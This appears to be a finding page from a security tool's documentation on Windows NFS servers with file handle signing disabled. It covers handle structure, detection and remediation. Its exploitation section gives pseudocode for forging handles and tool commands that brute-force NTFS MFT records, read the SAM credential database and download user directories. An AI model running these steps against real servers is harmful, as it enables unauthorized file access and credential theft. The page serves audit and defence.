Skip to content

F-2.3: Windows NFS File Handle Signing Disabled

Classification

  • Severity: Critical
  • CVSS Vector: Network / Low Complexity / No Auth Required
  • Affected Versions: Windows Server NFS implementation (when signing is explicitly disabled)
  • Configuration: File handle signing disabled on Windows NFS server
  • Prerequisite: Network access to NFS port; signing must be manually disabled

Summary

Windows Server's NFS implementation signs file handles by default using an HMAC, preventing attackers from crafting or modifying handles to access arbitrary files. When this signing is disabled (a rare but catastrophic misconfiguration), an attacker can forge file handles to access any file on any filesystem exposed by the server, completely bypassing access controls.

Technical detail

Windows NFS file handle structure

Windows NFS file handles are 32 bytes and contain:

Bytes 0-21:  File identification data (volume ID, file reference number)
Bytes 22-31: HMAC signature (10 bytes)

The signature is computed over the file identification data using a server-side secret key. When the server receives a file handle:

  1. Recomputes the HMAC over bytes 0-21
  2. Compares with bytes 22-31
  3. If mismatch → rejects with NFS3ERR_BADHANDLE

When signing is disabled

If file handle signing is disabled: - Bytes 22-31 are all zeros - The server does NOT verify handle integrity - An attacker can modify the file identification bytes to point to any file

Detection via nfswolf

nfswolf analyze automatically checks any Windows NFS handle for zeroed HMAC bytes and reports F-2.3 when signing is disabled:

nfswolf analyze <target>
# If Windows signing is disabled, the output includes:
#   F-2.3  Windows NFS server has handle signing disabled  [Critical]

You can also inspect a handle offline with nfswolf decode, which prints the full handle structure including OS fingerprint. A 32-byte handle (NFSv3) with all-zero bytes at offset 22-31, or a 28-byte handle (NFSv4.1) with all-zero bytes at offset 12-27, indicates that HMAC signing is disabled:

nfswolf decode <hex-encoded-handle>
# Prints: header fields, fsid, fileid, OS/FS fingerprint, and security assessment

File handle forgery

With signing disabled, the attacker can:

  1. Obtain one valid handle (via legitimate mount)
  2. Extract the volume ID
  3. Iterate over file reference numbers (NTFS MFT record numbers)
  4. Access any file on the volume

NTFS Master File Table (MFT) records are sequential, starting at 0. Critical files: - MFT record 0: $MFT itself - MFT record 5: Root directory (\) - Higher records: User files (sequential allocation)

Exploitation

Step 1: Detect the misconfiguration

nfswolf analyze target:/share

# Output includes:
#   F-2.3  Windows NFS server has handle signing disabled  [Critical]
#   Evidence: handle_hex=..., version=NFSv3 (32-byte)

Step 2: Forge file handles

With signing disabled, the HMAC bytes are zeroed and the server performs no integrity check. The attacker extracts the volume ID from a legitimate handle, then constructs handles targeting arbitrary NTFS MFT record numbers:

# Pseudocode illustrating the forgery concept:
#   volume_id      = valid_handle[0:8]     (first 8 bytes contain volume ID)
#   root_handle    = volume_id + le64(5) + zeros(6) + zeros(10)    (MFT record 5 = root dir)
#   arbitrary_file = volume_id + le64(N) + zeros(6) + zeros(10)    (any MFT record N)

Once a forged handle is constructed, use nfswolf shell with the --handle flag to operate on it directly (bypassing MOUNT):

# Enter a shell using a forged handle pointing to the root directory
nfswolf shell target --handle <forged-hex>

# Or use nfswolf brute-handle to iterate MFT records systematically
nfswolf brute-handle target:/share --inode-range 0-10000

Step 3: Enumerate and exfiltrate

# Inside the nfswolf shell, enumerate the root directory and download files
nfswolf> ls
nfswolf> cat Windows/System32/config/SAM
nfswolf> get -r Users/

# The entire volume (C:\, D:\, etc.) is accessible regardless of export restrictions

Impact

  • Complete filesystem access: Every file on every NFS-served volume
  • Bypasses all export restrictions: ACLs, per-host permissions irrelevant
  • System file exposure: SAM database, registry hives, certificates, AD data
  • No authentication needed: Just network access to port 2049

Detection

Server-side check

# Check if file handle signing is enabled (PowerShell)
Get-NfsServerConfiguration | Select-Object EnableNFSV3HandleSigningForAuth*

Remote check

# nfswolf analyze checks this automatically by examining handle structure
nfswolf analyze target:/share
# Look for finding F-2.3: "Windows NFS server has handle signing disabled"

# For offline inspection of a handle you already have:
nfswolf decode <hex-encoded-handle>
# A Windows handle with zeroed signature bytes indicates signing is disabled

Remediation

  1. Ensure file handle signing is enabled (it is by default): 

    Set-NfsServerConfiguration -EnableNFSV3HandleSigningForAuthSys $true

  2. Never disable signing — there is no legitimate reason to do so

  3. Audit NFS configuration after any Windows Server migration or configuration change

  4. Use Kerberos authentication (krb5) for Windows NFS shares — integrates with AD